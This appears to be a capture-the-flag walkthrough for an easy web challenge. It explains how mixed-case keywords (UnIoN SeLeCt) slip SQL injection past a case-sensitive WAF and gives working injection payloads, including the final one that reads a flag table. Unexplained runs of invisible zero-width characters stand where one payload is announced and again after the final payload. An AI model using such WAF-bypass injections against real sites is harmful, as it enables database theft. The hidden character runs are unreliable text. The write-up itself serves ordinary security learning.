Dead or alive 5

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: mixed_case_keyword_bypass

Summary

Walkthrough of the CUSTOM Web Dead or alive 5. Task: SQL injection with WAF blocking SELECT keyword. Solution: Mixed case bypass (SeLeCt) since MySQL keywords are case-insensitive but the filter is case-sensitive.

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass5/

The SELECT keyword is filtered by WAF.

Analysis

When trying to use SELECT in the payload, the request is blocked. However, the filter is case-sensitive — it only checks for exact matches of SELECT or select.

Key fact: MySQL keywords are case-insensitive. This means SELECT, select, SeLeCt — all work the same way.

Solution

Mixed case bypass

Instead of standard keywords, use mixed case: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Example payload

 sql read-only • copy allowed Copy
-- Blocked:
' UNION SELECT * FROM users--

-- Bypass:
' UnIoN SeLeCt * FrOm users--

Final payload

 sql read-only • copy allowed Copy
' UnIoN SeLeCt flag FrOm secret_table--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering mixed_case_keyword_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 5 • Difficulty: Easy